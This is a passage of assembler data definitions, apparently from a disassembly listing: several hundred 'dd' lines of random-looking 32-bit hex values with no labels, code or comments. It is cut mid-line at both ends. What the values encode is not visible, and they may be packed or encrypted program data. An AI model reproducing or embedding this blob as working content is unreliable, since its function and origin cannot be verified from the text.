0A1B8C829h dd 8A486F02h, 7D09E975h, 0EF10F309h, 47BEC366h, 97127FEFh dd 0A0EB78E4h, 0B84DBBA9h, 232009AEh, 50125495h, 11C080Dh dd 6584E914h, 2DF43012h, 2DAC5C95h, 302F1EFDh, 0F787372Ch dd 0FB5C9887h, 27125944h, 39DB31C2h, 0A17FA435h, 0AA1C74E5h dd 0B9B6355Bh, 0FE4D6716h, 3E0C2871h, 0DB6F497Bh, 0BA518342h dd 0B15DADCCh, 6C06809h, 0BAF50261h, 5FE00F59h, 2F3829EFh dd 12D666BDh, 2501B1BBh, 7B23A00h, 6AD156D9h, 45E10BCDh dd 0E8BDBC34h, 993A4832h, 372AC710h, 1A92A55Ah, 0F157688Bh dd 63F9955Eh, 8D07BADh, 22B4271Ch, 83CB0481h, 0E2E7092Ch dd 185FFC08h, 0AA36DEEAh, 0F3D08210h, 50F509FBh, 9808D27Fh dd 1C5C9B17h, 6D768281h, 0CF87DD47h, 5D609E04h, 3186ECFFh dd 18C258FEh, 568EE908h, 0E7BA0714h, 0F0147C78h, 894102B7h dd 9867FDE1h, 5F011132h, 0A6254D33h, 0BBC6406Bh, 65213F17h dd 4EAD4EFAh, 11E9E3D2h, 0EB96F274h, 0EA3821EEh, 34AE7D80h dd 24C79506h, 2AA14DC1h, 25902E80h, 0DE318D4Ch, 1F4039B0h dd 0C98BEC59h, 0EB555BFBh, 639B4C90h, 0C6E6B827h, 7E112920h dd 0D7C1F443h, 318CC245h, 0ACA8E5D5h, 8C5F16E9h, 234EC3DDh dd 1FA1628Ch, 4B16310Eh, 0A7466ABBh, 5DD5120h, 234942Dh dd 0B0C4EF5Ah, 0F965071Dh, 0E6B10A61h, 0CF312EF1h, 0B062B289h dd 0F140DD7Ch, 486DBAC2h, 0AF5E9AF2h, 0CE016E01h, 176485E9h dd 20A0A050h, 6F28284Fh, 12B35AACh, 0BDE0FAF5h, 4DBEA76h dd 1068C3FEh, 0B1388C35h, 0E180D20Fh, 86C1E149h, 7BE7F6D1h dd 0EBF10A08h, 8BCCB30h, 0B9010E02h, 46436108h, 0C4414E2Ah dd 0AF37FFEEh, 40213728h, 0ACC95255h, 1E8C90F1h, 1FEE58DEh dd 565FF900h, 302D6851h, 0F407FC30h, 7C3BC3C1h, 160CC148h dd 2EEC37A2h, 99204A3h, 0A951F23Ch, 225BA6BCh, 5FADBBCh dd 126BF40Bh, 5187AE3Fh, 0DD7DA2B2h, 0C26B80A4h, 0F27733C8h dd 6073953Ah, 9783B197h, 3872A788h, 0FFA25510h, 2E491B9Eh dd 0B737A85Fh, 4A689A40h, 0A121AB54h, 70835053h, 7C9628Ch dd 7E57E451h, 0FC5A25E8h, 270D20DBh, 6C55EA83h, 0C15376FAh dd 3E7BF1CBh, 2B8BB93h, 0E2E126B3h, 80D8A301h, 4A817E6Ah dd 1009DA0Ah, 0F05AB4BFh, 0B2F6854h, 2AA56662h, 9FEF38A6h dd 3A13D2C8h, 0C7E5B30h, 40CF0354h, 0C5B82706h, 58292A25h dd 400883ABh, 257140Ch, 0AD3DCE68h, 24D65F34h, 0F85D8882h dd 5793E02Fh, 0B8B47375h, 5F7716FAh, 0E59A0EB7h, 14D32B61h dd 0D9423A4Dh, 788F4B37h, 0B01B0B81h, 8255214Ch, 8E654C1h dd 0E84008A6h, 3CA55035h, 4AD2497Ah, 4BD34877h, 58EB0F55h dd 0E1A7F289h, 0CA120E16h, 208D4C73h, 0E6801C5Eh, 0B3F6CE8Dh dd 0C01C6C6h, 3FDF5748h, 0FD4EF35Ah, 2668B7E0h, 61AC251Dh dd 7F286CB3h, 6681E2F3h, 0E2436853h, 93301ACCh, 81461003h dd 2B9A0BCEh, 11754896h, 19E08FEFh, 0F0290BD5h, 8D4F8E9h dd 4EB4F527h, 0C7327430h, 0B588B6EFh, 0D89D8958h, 4E45E159h dd 5073808h, 4C38A868h, 9C20814Ah, 47146B7Dh, 13063558h dd 28EF16E9h, 547D5502h, 7322315Ah, 0B221060Ch, 0BA1B2625h dd 1A485F5Eh, 19BED03Ch, 3D038601h, 0CCEC487Eh, 58909D37h dd 2FEA6856h, 0CAB4EC67h, 0F0A664DBh, 0AC284E5Dh, 681FDD6Dh dd 2F3C439Eh, 69C25B2Ch, 2591EDEh, 53A7E61h, 0BA555CF4h dd 0C02073DDh, 819A5259h, 0C1DD2D8Bh, 84405E91h, 0C02555E9h dd 52CAC527h, 0DCBF61A2h, 13082045h, 0F5F08DE9h, 5BD2DE23h dd 978C4C20h, 5CBFC5D2h, 0A50C30B0h, 70524A07h, 0B0610E2h dd 93A8F85Bh, 2EE71801h, 0E17E6986h, 6068993h, 0E35E4Bh dd 2997AF54h, 92DE9DFh, 0FBCEE4CCh, 0E3169F22h, 921CB302h dd 66752405h, 4DB9A430h, 3C9271Dh, 659F28C4h, 515EA5E1h dd 296CAD59h, 0F4BE1D7Eh, 89CB89AEh, 0C644EB5Ch, 0EEB916AFh dd 6C17628Fh, 109DA347h, 66131F68h, 0B1A2BB50h, 0BF121094h dd 0BBE2AF57h, 0FC49E985h, 0D2B92F0Dh, 0C8293EFDh, 943BE42Ch dd 9E12EE28h, 5039ABEEh, 20B21041h, 2A945368h, 3B32FC1Fh dd 0A0903924h, 0D6341756h, 4771EEFEh, 5F81DAFAh, 5B7D71F7h dd 524EC7Fh, 27649Dh, 61AE3D26h, 9AB988BFh, 25E8A454h dd 0B03EAC41h, 3913E6D5h, 39E95A72h, 80787A2Eh, 5362B1BFh dd 0F7952944h, 0B541DAEh, 0C22344Ah, 7C3CEEDBh, 8E3C9BDh dd 843ECEE1h, 82C4E357h, 0A0D8A1E9h, 394BFAA5h, 0C1012565h dd 0A57745DDh, 61C208E9h, 15FA2E22h, 720565DDh, 0AA097E1Ch dd 17A5A416h, 96E90B01h, 5F5E9752h, 0B756AFD4h, 0D6EBF4D1h dd 8055279h, 44E0AE58h, 493496FCh, 0E10E7905h, 9EC0226Dh dd 1E4BD090h, 6DB00989h, 0FC279C7Dh, 1194D5Ch, 2E912D03h dd 0F8FA1A08h, 80198C2h, 61060205h, 0E9E8F4CDh, 0DC097BE3h dd 2F9C0042h, 0B0697107h, 0AF7A0B16h, 8B7D0276h, 0E425EA3h dd 0E96EEFD6h, 6CA9D969h, 0F4D19277h, 1C5A272Fh, 115D8B0Fh dd 8BB8323Ah, 0ED121FA3h, 20AFD3F7h, 0D4415786h, 0D0F24C76h dd 0C06B7F25h, 281427EBh dd 7B30086Ah, 0ACE912D9h, 0E09BB4A4h, 0CA5F783Bh, 1BA88BFBh dd 88485756h, 26236E6Fh, 839598E9h, 6680B450h, 0F6E688F8h dd 78DAD65Ch, 19307090h, 2CF04107h, 3016C41Fh, 29EC82C3h dd 25C1C5D7h, 0D75296B0h, 95EB0180h, 5EB30FCh, 811AFA3Dh dd 4C76771Ah, 0B5E816EBh, 7CBDCE44h, 9C591E7Ch, 7C29CBCFh dd 0F42F0171h, 82AE09ECh, 0CC5804D2h, 0D790D271h, 50790BBAh dd 746BB0Eh, 0E9F186F4h, 0FE36FC61h, 5C80C239h, 42F20754h dd 8AF2D028h, 1F55C5A5h, 0B1570956h, 7E27E6E7h, 8B6DC6E8h dd 5DEA010Bh, 0AD817431h, 27E0175Fh, 46EF32h, 0B6BEE912h dd 0F5217B52h, 0BA00D89Dh, 6B7A6418h, 5AD72912h, 92E6A4AAh dd 150BFB72h, 461B2EE9h, 0C5545EC5h, 8E6D0476h, 89550F57h dd 9FA3D04Eh, 0BBC83974h, 2793BF02h, 5B38E187h, 0FE33419Bh dd 7A1373C1h, 3868639Ch, 0EE5F62FDh, 0B7E88828h, 68846EC5h dd 8FBE1B84h, 0DA277FCFh, 4B74730Bh, 0CD893875h, 0BD00B2D2h dd 514C8DECh, 0EC2CB42Bh, 0A830975Fh, 0FF59C22Dh, 0F181C03Dh dd 67EE373Dh, 12200C19h, 5A42038Dh, 5A20516Eh, 88580D27h dd 0ADFF871Ch, 0E3E0BA4h, 221ED367h, 7A587884h, 86002EAh dd 3AC31E64h, 88DC5C2h, 0C8A36B8Eh, 773ABF00h, 68552A19h dd 5205A109h, 62A2D426h, 3A8FEF21h, 319C4512h, 94D487DAh dd 7FE7AFFEh, 49D99A72h, 0C75E331Eh, 0B0018466h, 0E23530F5h dd 0F8F0D066h, 0C212FB81h, 0FFD7AB5Fh, 761D7A00h, 0CBFA3219h dd 6F25060Bh, 0E3AD8058h, 4C4C7D29h, 0E9099130h, 0F57C8EB4h dd 48906884h, 781028F3h, 0C5D25F4h, 810806F4h, 73EDFC07h dd 0FBAC1EC9h, 8546131Dh, 0F5B3BBD4h, 0E857EACBh, 0A3CA8EBCh dd 5A89AB86h, 0AC73AA0Bh, 0F538F9C2h, 687B706Bh, 2EE16E37h dd 68693CABh, 5956702Dh, 1B82BBA9h, 0DDE96BB4h, 0CA926958h dd 34FD79FFh, 0F9AF4301h, 2B200461h, 81404DFBh, 0E94F30CDh dd 0F5A5664Ah, 86C2B93Ah, 3750BB18h, 0C030454Dh, 68309170h dd 4F0B5C38h, 81B62DEBh, 7F93BE44h, 0B92B3E37h, 3DE984E8h dd 0EE4A3EBCh, 8F30C1C7h, 0FC13780Bh, 0F20F5F0Ch, 6898012Ch dd 5587C87h, 0ADE40645h, 0ACB9B4C0h, 31123C56h, 0C54E8C84h dd 0EDB5C954h, 2A70610Bh, 1A7EA48h, 6F84E908h, 6B65B33Eh dd 1FE9733Fh, 0CA2DAAAAh, 6FC60586h, 0A3401004h, 651594Bh dd 305B2AF0h, 10D1309Ch, 0E0CE6D7h, 573BA525h, 81059524h dd 44AA1476h, 5AF9A8DAh, 523213E8h, 82D76F1Ah, 0D6A2E954h dd 934C25E1h, 7B7DAF8Ah, 0F0C3E415h, 88EC5DBCh, 0F1D3A34Fh dd 0A41E8B11h, 0F7B505BAh, 0E104ABD8h, 68021290h, 86A21542h dd 0C101D172h, 802E07E3h, 8221C863h, 0EC3360B5h, 4B279C8Dh dd 7BFD4402h, 125FD492h, 5FA6C2E5h, 81DD192Bh, 0FED88C8Bh dd 7BABB62Eh, 30792030h, 4FB759B6h, 0C70A4202h, 7C7D28B9h dd 0DA01586Ah, 7D314ACEh, 1814A9CCh, 877C3F88h, 0A0C8336Bh dd 54D94E9h, 0C9DE8188h, 497ADA4Ah, 96DFEEABh, 0C4D4BD41h dd 197D5Ah, 4CBF00C8h, 95B2C01h, 93B81D38h, 0EF680040h dd 781D65C2h, 72BF0CC1h, 24833ECEh, 0ADEAE33Fh, 3BE0C04h dd 0DBC33993h, 505016FCh, 0B684ABB8h, 3A6CD1BFh, 67BA0440h dd 9035C216h, 1B49E0A2h, 65D0BB22h, 910C2F40h, 0E9244303h dd 2D921476h, 8B6991ABh, 0DC77FE80h, 0FD7AC9EAh, 7E38D60Bh dd 0EFBCF541h, 0B41E92Fh, 9F0994C8h, 0B70C8FC5h, 701BFE4h dd 5A08EE5Fh, 4564C64Ah, 0BDFBDCBDh, 27117C1Ch, 62753AF7h dd 7B2B7F29h, 785B8E50h, 0F8AF1A84h, 2EE9A86Dh, 85942FC7h dd 80BB73AAh, 6648E2AEh, 0F40C032Dh, 93D62560h, 0FC9DF207h dd 0D2DEE981h, 5EEF6424h, 8664E902h, 81509836h, 0C804C7B2h dd 0B85E9337h, 50B5CD49h, 0B0EEE0B3h, 89B30184h, 0EBC0D3F6h dd 66B17B06h, 0C3CCE5D5h, 0D8281C6Dh, 0E9F0025Bh, 0C5F71AD2h dd 34FB8041h, 0F2013E5Ch, 0E9AE910h, 3C7D592Dh, 889B9EACh dd 501301A3h, 41257DBEh, 7A61C048h, 68552122h, 257A71E6h dd 0F5081152h, 0C3222707h, 0B50031E5h, 0B0E828A6h, 0F603F1A4h dd 8EAACC50h, 0D4EB65D7h, 7D91F868h, 802AD461h, 69D49C2h dd 0AEEA8F71h, 0D7CE4AC5h, 0CC5F0B93h, 0AFF54F0Eh, 6D673AD0h dd 0F0055018h, 0D94818B8h, 4B5FA879h, 4E57662Eh, 0BF5D4AFh dd 0B418BFE9h, 5B240BF2h, 0C582044Ah, 54731A45h, 0EFE90422h dd 28F3FFF0h, 8E68B88Bh, 3B1812E2h, 544442C5h, 4B8C2444h dd 8F32892Ch, 0E23F6855h, 0C7371F36h, 0E009FF6Bh, 1082FF5Fh dd 2D48AD57h, 89BEC649h, 349019Fh, 0B10F9637h, 21D6088Eh dd 30AA2B28h, 33282E87h, 0C5B0D3F3h, 0CC2DE9B2h, 0DD925767h dd 0EE574A8Eh, 0B4C9904h, 0C1FFCDAFh, 6F536E46h, 669F5F01h dd 85F56CCFh, 5FFEEE64h, 34D5F9C4h, 0C9BF0A07h, 0E438522Eh dd 0B80038DCh, 0BF5548Eh, 42F70F2Dh, 2EE977CBh, 9685C477h dd 0AEA408FBh, 80EDD10Bh, 0A777AC55h, 40839820h, 5055F0Bh dd 3A4823C5h, 74134B8h, 0AB2AF021h, 0A46E2279h, 133E164Dh dd 0DF68174h, 460EFA19h, 7E71C6DCh, 81855FF0h, 7053F7Bh dd 5C7DC1DEh, 8EE1004h, 0C57788D2h, 0E2338100h, 9109459h dd 0EA6685Bh, 9F805D44h, 0F1266471h, 7F137C0Ah, 0EB51FBBDh dd 0E83456D0h, 27AB554h, 13AA509Dh, 0E18D70D6h, 6C30E4F7h dd 0E92C36F2h, 1BA4C4CDh, 1F32D14h, 55B25251h, 0CB6FD328h dd 78321695h, 0BA96E6B3h, 27588F8Ch, 19FFB668h, 1CEBA667h dd 0CE04E56Fh, 938F94EDh, 0CE0560A4h, 0EDA14AD6h, 8C2A986Fh dd 9F587140h, 77141075h, 0F3B9A38h, 741251F8h, 1CA6A8E6h dd 5A4D097h, 3295E38Fh, 0E4B6F131h, 46FC7EE4h, 0C1FC294Ah dd 45B0840h, 391BCB05h, 400ABC2Dh, 874E5F07h, 0DBED8BBh dd 6B14AFD3h, 1A951728h, 80450AFh, 0C0A9C04Fh, 6100EC66h dd 0F37FC735h, 24A42D59h, 3A4AE8FCh, 876EE5A6h, 66C386D3h dd 0D19F08C0h, 2EF5C21Fh, 0C302410Ah, 0C049DE2Bh, 4DA6FC49h dd 0A413EA9Ah, 0D890A598h, 5751D013h, 9F0E2BB6h, 6851205Ah dd 9F263F04h, 6AE04AE2h, 8216355Fh, 0E8138640h, 25A4CBABh dd 0CE605DEFh, 0E916D701h, 80EDF925h, 0D15CE300h, 62B9513Ch dd 9C7E0926h, 1E2CC100h, 27E9A17Ah, 0C5445D9h, 64BD064Fh dd 7F679D7Bh, 0E90B2BA9h, 98FD8F7h, 72EA6845h, 12098166h dd 8546886Ah, 2BD9DB08h, 0F6029B11h, 50BE1681h, 0E8A563E0h dd 7BF5DAFBh, 62556DCCh, 8685603h, 3D534675h, 0B32F56B5h dd 0FA398148h, 8FF7F5C7h, 294A96E0h, 5F75C2F9h, 5CF65CE9h dd 0FDBEF587h, 0EB21FAD0h, 0D529C5Dh, 0EA21200Bh, 8010D855h dd 162324D7h, 0F04D3F7Eh, 216D8CDh, 57E01E60h, 202F315Ch dd 0E921300Ch, 0CD503B36h, 3BA94108h, 8708B509h, 0A7925104h dd 0B69055F0h, 735B3D68h, 5DF3768Ch, 2D046C4Ch, 0E87A8C62h dd 0E955C113h, 5073F8DFh, 313A680Bh, 6F5465D2h, 3298EEE8h dd 5E5AED1Ch, 96A956D6h, 89EC0841h, 15E918EAh, 0D0BB32DCh dd 78536B18h, 4B4205D0h, 1853C0F0h, 4F48331Bh, 7040125Ah dd 0C87AC88Dh, 57956C3Eh, 3D4D612h, 0B23C7082h, 8C108701h dd 0D27BC292h, 83D298FCh, 49DA260Ah, 0E0CBA224h, 7646BF25h dd 6A54DE9Dh, 788B02B9h, 0FA607EF0h, 840433C7h, 0E7C3E94Eh dd 0DE6EF8EAh, 0D0AE7193h, 5A4D2920h, 0E1011076h, 6E744FF6h dd 0D13BD9F7h, 358A7A5h dd 6C641C5Fh, 0EB30D278h, 50EBFC16h, 0BD790B9Fh, 0E5499BECh dd 0F7400E5Ah, 2F4B7ED0h, 28982052h, 10E0659h, 1C4F1D35h dd 0C1E80D7Bh, 9361F21Bh, 5F8A6E19h, 4C590F3Eh, 2CC22B10h dd 55AF2629h, 0EE5DEE84h, 0BEF166ECh, 0DF902F40h, 3B0F50F5h dd 0E50F37CEh, 187B3266h, 0D1867B0h, 221DD8B7h, 0ED02A4E7h dd 687D1BF4h, 10274331h, 490A7A1Eh, 0CB503CBFh, 0B65500EBh dd 0BBEE8058h, 213FCEE6h, 7AB49C66h, 0BBFE61Dh, 825AF528h dd 0EB884Fh, 0B04BE95Bh, 0D2661B9Dh, 0CD94D7E4h, 26D2F4B0h dd 83A538EBh, 1677DAF7h, 8019B63Dh, 929162Dh, 0FB97D831h dd 475D4954h, 6DB82FD7h, 669FE368h, 9C8C80C4h, 9E8082DAh dd 3EAE0467h, 0B9533F6h, 25ADEC8Fh, 3690BAFh, 5EF3C8FEh dd 286F169Fh, 8286C133h, 5D744267h, 0FBF66B8Bh, 6D7C9ED1h dd 16CDAC50h, 129FC1Ah, 0BD050F12h, 0A30C8219h, 5F501B45h dd 882FED8h, 796C7840h, 0E94C6904h, 0A6EE3494h, 54247BF6h dd 0FE525255h, 0D57B88BEh, 892B4E6Dh, 0B9B82E8Fh, 0ADF0FC96h dd 0FEEB8089h, 0E1A6CE45h, 364E7501h, 0B970215Dh, 780E6060h dd 0D94B18BDh, 6AF9794Fh, 1E90861h, 0BE8DFFFDh, 5E82C9DCh dd 6D7A4C0h, 0EE5CA476h, 17DA736Ch, 15F0F7B7h, 3E07F381h dd 0C3C6E64Fh, 0E7D16FEEh, 0F5DDB3D2h, 61F5E146h, 0F2958282h dd 407DE739h, 5C479FC1h, 5A278A7Bh, 3FBF5840h, 17B40300h dd 58956855h, 0DE0E4D10h, 3245EB1Eh, 23C84D60h, 705AB868h dd 0E2AAE524h, 7F8D8463h, 9403AA12h, 0D902E344h, 0D7BDEC4Ch dd 7E6E1089h, 0B2013F7Eh, 5136E12Ch, 0BABA883Eh, 98B4D2BDh dd 37D4147h, 0C98856BBh, 720B3534h, 0D7CE10E6h, 58B44265h dd 271BADBEh, 226B8FD8h, 6159CB31h, 0F73043EEh, 0B905F724h dd 0B6520292h, 7017B00Fh, 0C7142599h, 540B546h, 0A7443999h dd 0E9D80104h, 0B8AD953Ah, 0FA2718h, 286004D5h, 0E42C74E8h dd 2DC7BD93h, 2836C06Fh, 0C4B753D8h, 0BF5BF80Ah, 92981572h dd 785857B1h, 583E6EB5h, 6DA30DF2h, 6227AF94h, 4132282h dd 0C1DA83F6h, 8053FE0Bh, 608C0FE6h, 0E901245Ch, 0CD429572h dd 6186CE7Dh, 0C58051A7h, 0D7EDCC01h, 367C073h, 0A9F4D64Ah dd 0EAF83CE1h, 98D07301h, 0BC4C25D9h, 0A4AF6AD3h, 0F090B920h dd 0C47C6768h, 0BB66DC69h, 55C51334h, 0DF83844Bh, 5854F182h dd 5FFD8901h, 0FCD9570h, 1BC93373h, 0BFFCD7E5h, 0E6924CA2h dd 0D3C209B4h, 7BEC5DFEh, 9F7AD120h, 0C640597Eh, 4AD8448Dh dd 0B4C4AF61h, 1EE90802h, 3C54D9D5h, 0C181682Ah, 6401A492h dd 3D8306Ch, 12EB4844h, 4A905E0h, 12593D80h, 11D504AAh dd 0A9601321h, 0BC6E9F68h, 81126B30h, 7F6484F7h, 0AC674C53h dd 5303551Fh, 3313FBBh, 0B6682030h, 0BE6941EAh, 49A351B0h dd 0AD44F357h, 6E9FFEE9h, 0ECBF71C4h, 348DADC4h, 2E1980BAh dd 0BA91A0A0h, 0E1C02DE3h, 0CF37C058h, 31E27688h, 40D7B27Dh dd 9428B24Bh, 0C3769430h, 0EAE1EE92h, 305B36A4h, 3F5B836h dd 354E910Dh, 0C5FC0BF1h, 0EE3BFF2Ch, 97FE4A3Ch, 0BDB93CC8h dd 80695782h, 41D86FEAh, 2B0B4105h, 877505BAh, 0B59AB91Ch dd 682C1BF3h, 4F5262C2h, 276CC575h, 39341E75h, 6882E1F7h dd 0B4E9761Bh, 5B2DE150h, 6CA7FC59h, 72965432h, 0F749EC89h dd 0C84B5113h, 11997CFAh, 28EC15Fh, 463DFB4Bh, 89AEBC6Eh dd 57D35F5Ch, 60B0F549h, 0D54F29E9h, 0FD728BD7h, 68D3A181h dd 8C2A19F9h, 0EF4B1097h, 5925A0B7h, 200AEDDDh, 0E93C5532h dd 6B965B00h, 0F15D5AB4h, 20EC3BB5h, 57CCF102h, 0C94007ECh dd 130931E8h, 1CB2968h, 0FF333A58h, 0F78F2247h, 0A5B8B740h dd 9D65083Fh, 0E6E4807Fh, 58862E89h, 5F105E71h, 5EBE4E78h dd 0C0839629h, 11CF8148h, 6386181Dh, 3A97E780h, 69E921AAh dd 2218E2CDh, 0E59FD045h, 84311029h, 0B306BC5Fh, 0F1CD60F8h dd 2230E0C0h, 49204E2Ah, 657D5B46h, 886665B0h, 0F097F93Fh dd 8002B062h, 0C00AB649h, 4B7FF63Bh, 88926BBEh, 8560CCF3h dd 7ECEF924h, 0F5C9C2C9h, 8F4B77C6h, 0E984CFF6h, 3A63B1FCh dd 68D542FAh, 83514236h, 74196B89h, 0F55B514Eh, 54F33FBEh dd 6E38BA6Eh, 56B75E57h, 0BF206F90h, 5AB71663h, 0FCD7F72Eh dd 96E44316h, 0D3500407h, 0B925682Ch, 62F6851Bh, 0C091B3FBh dd 54634E14h, 182D3D40h, 0AC7D7096h, 2F9F4848h, 12CA40Dh dd 6CAF3458h, 317C00B0h, 0C9042590h, 65473CFBh, 0EEFE4F81h dd 0C017CC0h, 1F39E9C8h, 6003E27Fh, 0C17B7E69h, 0FA6014EAh dd 0D7016078h, 96B3974h, 36CAF4D9h, 838203B4h, 0F47C8F7Bh dd 3A298844h, 8002C32Eh, 0D537255Bh, 0AE56A684h, 0F30338F2h dd 364A4B45h, 0D2A1AEFCh, 5CF14CC4h, 0E73A411Fh, 20C6F12h dd 4F7B490Eh, 2CFC39C1h, 16BE4BACh, 824AF822h, 0C0F855D9h dd 80382AE3h, 0DD60F75Dh, 0EFF58104h, 98B3001h, 4A5F9E0Ch dd 4AE0595Ah, 4E56B542h, 4FE8CF0Ah, 47146201h, 0A0A5570Ch dd 137998DCh, 5B0F8478h, 430410B0h, 2F2CB7FCh, 9539E652h dd 0F8EB357Ch, 6FAB45BAh, 39F4E121h, 0D4CF312Eh, 83A72B05h dd 0E2BB2F84h, 0E53E8ABDh, 34E4EEAFh, 0EBBCBA67h, 1EBE78C4h dd 0BC654C21h, 0BD69E48h, 12705FAh, 0F8DFAFBh, 0D21D8E1h dd 31C30810h, 585B060Bh, 729F07E9h, 8041B705h, 0E5C71FEFh dd 0E7C3F6B5h, 36AF9437h, 52E6FE59h, 0C296ADB6h, 0FA3FC4AAh dd 0B64E2302h, 0C11EE229h, 536D41D9h, 79788305h, 0FED1AB4Dh dd 0CDE08A73h, 0BA992AE9h, 97F77979h, 555B9A77h, 0E984047Bh dd 70ABC75Ah, 412C687Ah, 0CD0A019Bh, 0A2259AB9h, 5480B3CAh dd 2304018Eh, 72858FE9h, 50701C8h, 834B4AFCh, 0C31402DFh dd 0E62FE1CDh, 2535E777h, 0E4AA82B0h, 0DA15EB9Dh, 528009ADh dd 7C7E3533h, 0C400EE90h, 490FDB30h, 29E94091h, 950C55Bh dd 4D836856h, 0CCFA54B6h, 0BB0079F8h, 4C931443h, 187CCAB8h dd 0C631533Ch, 5D00560Dh, 0C43546E8h, 9738923Fh, 3C400BE2h dd 82FDD108h, 2F324784h, 0F57FCA70h, 0CD3E1878h, 292D8578h dd 0EAC559C8h, 0E92FA0FFh, 5A05C427h, 0E32662BDh, 5C5423D4h dd 734BA54Fh, 0C267B761h, 50ACEF04h, 47F8BA1Dh, 0F24A58BDh dd 135E0D66h, 0EB07BEA6h, 0E97F9731h, 0B56F7829h, 681A3B10h dd 0C7961783h, 3A29EE02h, 0E984BB38h, 40E3896Bh, 7D3B6866h dd 4F184164h, 2066A517h, 0E5BD0CA1h, 45552770h, 85E98BB5h dd 0EB92DA5Ch, 2A68DDF4h, 298809A4h, 25F3B679h, 0CA64A744h dd 0FCABEAB6h, 0CEE90C80h, 7C777B3h, 2CC57D80h, 6F7CC259h dd 68167C46h, 86F31B8Eh, 0BAEB8817h, 9D482FCEh, 5E8E8725h dd 0D1B859A4h, 685AD6B4h, 0EF85A456h, 0BC2643C8h, 0D589095Ch dd 0F178080Bh, 0A1C8BA4Ah, 3D1B5FAh, 0B4E17470h, 17686116h dd 0F5A66F0Ch, 856DD92h, 7E9DDAF8h, 0A55E67D1h, 68CCE015h dd 703D5DF0h, 0A89E1717h, 8D9E7AEDh, 7A147216h, 0F30CAD9h dd 0FD40D3B7h, 60AA93A6h, 1B68DEBEh, 4CD84350h, 7C716314h dd 793401E7h, 5E913CEh, 5F370678h, 944C943Bh, 23DDAA73h dd 0C642B1F4h, 79DA308Bh, 8B482EF6h, 0C180A13Ah, 5D25DC42h dd 4BC00E1Ah, 0D124594Bh, 1B1D1622h, 0F728B982h, 1C27EDFh dd 68451EEFh, 0DAC62ECFh, 4F8406ACh, 40416D3Ah, 64057200h dd 0E9F93152h, 0FEEF2D4Eh, 0DD78A0DCh, 0C7808088h, 0DFF69B1Eh dd 5495E189h, 3887BCA6h dd 606B961Dh, 2748BDE6h, 200B655Ch, 0B1511214h, 20E1D14Eh dd 0FCE67A29h, 633B9060h, 99B061EEh, 3E593440h, 7570EB80h dd 16C375F3h, 0E92A685Ah, 3FC10C5h, 5DEF290Dh, 88B87AF4h dd 0C2D50C6Bh, 635FC194h, 93C1E23Ah, 5819B3E6h, 0F7C3E364h dd 3E0AC0C1h, 4BDBCBCCh, 7421ABC2h, 0E83FA09Dh, 0BFE97BBh dd 6F61AE7Ah, 66EC3E2Dh, 217D052Dh, 35E9D8BEh, 0EBC1B275h dd 0B5DA3FDCh, 257FDB2Ah, 4A83E37Fh, 8FC6FF0Ch, 7F1D20C0h dd 7CD6F732h, 0F8310454h, 0DFAC325Eh, 8951DD87h, 340268C1h dd 0E9A8607Ah, 53BDAEA1h, 0FE5098E2h, 5943D79h, 0AE5B5483h dd 7A46D977h, 0A35C402Fh, 817ED26Fh, 0DA7F234h, 0F9E1D0C4h dd 0F1A9B07Eh, 26FD18B5h, 2714B20Fh, 51B16F27h, 0CBCC3A3Eh dd 1219383Bh, 8606BA82h, 0BB421449h, 46AF877h, 89E9C229h dd 4FBFD52h, 0AAD5D65h, 68D894C2h, 0FBDF5C4h, 29436427h dd 5AB2539Fh, 29774A37h, 0F616D7A7h, 4EA42F73h, 83B992Ah dd 0C6E48795h, 0BF70FB30h, 1CE0174Dh, 1746ACCCh, 75F8EFD1h dd 4C48210h, 4BA76858h, 0A6198CEFh, 0A3F46C41h, 9E39B58h dd 36D53408h, 5266170Ch, 0B1796050h, 8409B08Ah, 7CD656E9h dd 81088010h, 9B7BF5CBh, 0B879647Eh, 687BC392h, 10557213h dd 55274F1Dh, 0C7A1A83Eh, 9DB204B5h, 0D2D1A74Bh, 0E53B23FCh dd 0BFC975CEh, 0BB0D6971h, 0F3E05F03h, 2BF50129h, 1EB9CCB0h dd 6D2AAA02h, 0C13C2255h, 0C7AD05ECh, 7C86836Ah, 0AC57C33Fh dd 8180B298h, 91561BEEh, 10A4C14Ah, 302E771Eh, 0E4391C53h dd 41B48A1h, 7A023541h, 0EA2898A8h, 0A7E91308h, 46CF4C1Ah dd 1E2E6A8Ch, 4F0B4D99h, 9F9164F9h, 0BBCF9B0h, 3DFE2BFBh dd 28F86E9Eh, 4203012Ch, 5C04D095h, 887E76B5h, 66BF44BAh dd 61CAA1C8h, 7A552FEh, 0EC2B7AEFh, 0E02CC52Ah, 0B4CB39Ch dd 30620F98h, 7569EDDh, 19088140h, 4A5D533Dh, 0B170FC87h dd 5F72CF02h, 971EEE4Fh, 52EB40D7h, 7ECCA1AAh, 0EF4CA8FCh dd 5EA4B44Fh, 0D0EF8929h, 0D61D3109h, 0ED0C624Eh, 659880C6h dd 0F5208A7Bh, 5A5F2820h, 579405CAh, 8956512Eh, 0A8F184h dd 176E4B68h, 0EC5B9208h, 71634C5Fh, 0E962ECF9h, 2631674Dh dd 1E0249ADh, 0E32ADD24h, 0DEC3F16Dh, 83BF1C82h, 6B40D353h dd 541DF7CFh, 84BA3FCEh, 63FA796Ch, 92048C2h, 52AC897Fh dd 895D1661h, 9A3F302h, 9123F3E9h, 0B2FFC881h, 935EC06Ah dd 6F3E285Fh, 623F05CDh, 0BA89DA3Dh, 0D12DD48Eh, 66CEEDA0h dd 40480E65h, 43EC065Ah, 6F865193h, 0DC6123BEh, 6E1C5B56h dd 97E874E0h, 0E6884B82h, 0EE23DF90h, 10FCC181h, 28C87A31h dd 0F21DFA3h, 76687D93h, 2D03A8B3h, 8702FDB8h, 66FDC329h dd 21E926ADh, 84CB2D2h, 0C71F3B40h, 803B4781h, 3ABB5307h dd 64F83E00h, 4542E381h, 834A50CCh, 270E14CDh, 0C606AF1Fh dd 0C298B74h, 9506B20Ch, 4A034248h, 3CE48356h, 0E94D609Fh dd 0C3C7FDC5h, 668307EAh, 0BE7402E5h, 497B6778h, 0A74CFDh dd 7EDE7D6Fh, 8827F825h, 6AE93B09h, 27B8E50Eh, 0F7D9B2D5h dd 8A905F14h, 0E7759A09h, 0F45C4Dh, 94C300Bh, 0E569D9E9h dd 144ADD98h, 0E0310688h, 607D34B8h, 0D0AB324Eh, 0B7350206h dd 3367E016h, 16AEEAB4h, 0D922AC29h, 0D3E2173h, 43953F0Dh dd 40BCCEAEh, 7C7A0FC1h, 32F9195Eh, 6335F207h, 0A402AF32h dd 935E2A74h, 6930C600h, 17E94350h, 